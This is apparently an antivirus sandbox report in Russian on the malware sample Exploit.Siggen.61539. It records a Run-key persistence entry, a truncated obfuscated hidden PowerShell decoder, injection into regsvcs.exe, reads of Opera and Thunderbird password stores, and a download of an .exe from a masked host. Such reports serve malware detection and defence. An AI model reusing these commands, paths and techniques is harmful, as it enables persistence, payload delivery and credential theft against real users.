Exploit.Siggen.61539

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'czgmTXaB' = '%APPDATA%\JVaLkJk\ZNzuj.exe'

Вредоносные функции

Запускает на исполнение (эксплоит)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function oe56123 {param($e73511d)$f8bba='jc34ea8';$l969f6='';for ($i=0; $i -lt $e73511d.length;$i+=2){$d9ffde3=[convert]::ToByte($e73511d.Substring($i,2),16);$l969f6+=[cha...

Внедряет код в

следующие системные процессы:

%WINDIR%\microsoft.net\framework\v2.0.50727\regsvcs.exe

Читает файлы, отвечающие за хранение паролей сторонними программами

%APPDATA%\opera software\opera stable\login data
%APPDATA%\thunderbird\profiles.ini

Изменения в файловой системе

Создает следующие файлы

%TEMP%\zbm279z-.0.cs
%TEMP%\cnvkqg2s.dll
%TEMP%\csc982b.tmp
%TEMP%\csc93b6.tmp
%TEMP%\res96c4.tmp
%TEMP%\jjrtn3q0.dll
%TEMP%\res984b.tmp
%TEMP%\gl4exnkd.dll
%TEMP%\qoityxxv.dll
%WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\metadata\f0accf77cdcbff39f6191887f6d2d357
%LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{6e0b5127-809e-4f1a-be14-9cd6167b6829}.tmp
%APPDATA%\x8d44b.exe
%APPDATA%\jvalkjk\znzuj.exe
%PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
%PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
%PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
%LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
%TEMP%\csc96b4.tmp
%TEMP%\res983b.tmp
%TEMP%\zbm279z-.dll
%TEMP%\gl4exnkd.out
%TEMP%\zbm279z-.cmdline
%TEMP%\zbm279z-.out
%TEMP%\jjrtn3q0.0.cs
%TEMP%\jjrtn3q0.cmdline
%TEMP%\jjrtn3q0.out
%TEMP%\gl4exnkd.0.cs
%TEMP%\gl4exnkd.cmdline
%TEMP%\cnvkqg2s.0.cs
%TEMP%\qoityxxv.out
%TEMP%\cnvkqg2s.cmdline
%TEMP%\cnvkqg2s.out
%TEMP%\csc9174.tmp
%TEMP%\csc926e.tmp
%TEMP%\qoityxxv.0.cs
%TEMP%\res926f.tmp
%TEMP%\qoityxxv.cmdline
%TEMP%\res9185.tmp
%WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\content\f0accf77cdcbff39f6191887f6d2d357

Удаляет следующие файлы

%TEMP%\res926f.tmp
%TEMP%\jjrtn3q0.out
%TEMP%\jjrtn3q0.dll
%TEMP%\jjrtn3q0.0.cs
%TEMP%\jjrtn3q0.pdb
%TEMP%\gl4exnkd.dll
%TEMP%\gl4exnkd.cmdline
%TEMP%\gl4exnkd.0.cs
%TEMP%\qoityxxv.out
%TEMP%\gl4exnkd.pdb
%TEMP%\res983b.tmp
%TEMP%\csc982b.tmp
%TEMP%\qoityxxv.dll
%TEMP%\qoityxxv.0.cs
%TEMP%\qoityxxv.pdb
%TEMP%\jjrtn3q0.cmdline
%TEMP%\gl4exnkd.out
%TEMP%\csc93b6.tmp
%TEMP%\zbm279z-.dll
%TEMP%\res9185.tmp
%TEMP%\csc9174.tmp
%TEMP%\zbm279z-.cmdline
%TEMP%\zbm279z-.out
%TEMP%\zbm279z-.pdb
%TEMP%\zbm279z-.0.cs
%TEMP%\csc926e.tmp
%TEMP%\cnvkqg2s.out
%TEMP%\res96c4.tmp
%TEMP%\csc96b4.tmp
%TEMP%\cnvkqg2s.dll
%TEMP%\cnvkqg2s.0.cs
%TEMP%\cnvkqg2s.cmdline
%TEMP%\cnvkqg2s.pdb
%TEMP%\res984b.tmp
%TEMP%\qoityxxv.cmdline

Сетевая активность

TCP

Запросы HTTP GET

http://on####preneur.id/license/onGOD.exe

'ap#.#pify.org':443

UDP

DNS ASK on####preneur.id
DNS ASK ap#.#pify.org

Другое

Создает и запускает на исполнение

'%APPDATA%\x8d44b.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function oe56123 {param($e73511d)$f8bba='jc34ea8';$l969f6='';for ($i=0; $i -lt $e73511d.length;$i+=2){$d9ffde3=[convert]::ToByte($e73511d.Substring($i,2),16);$l969f6+=[cha...' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zbm279z-.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\jjrtn3q0.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gl4exnkd.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\cnvkqg2s.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9185.tmp" "%TEMP%\CSC9174.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES926F.tmp" "%TEMP%\CSC926E.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qoityxxv.cmdline"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES96C4.tmp" "%TEMP%\CSC96B4.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES984B.tmp" "%TEMP%\CSC93B6.tmp"' (со скрытым окном)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES983B.tmp" "%TEMP%\CSC982B.tmp"' (со скрытым окном)

Запускает на исполнение

'%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
'%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zbm279z-.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\jjrtn3q0.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gl4exnkd.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\cnvkqg2s.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9185.tmp" "%TEMP%\CSC9174.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES926F.tmp" "%TEMP%\CSC926E.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\qoityxxv.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES96C4.tmp" "%TEMP%\CSC96B4.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES984B.tmp" "%TEMP%\CSC93B6.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES983B.tmp" "%TEMP%\CSC982B.tmp"
'%WINDIR%\microsoft.net\framework\v2.0.50727\regsvcs.exe'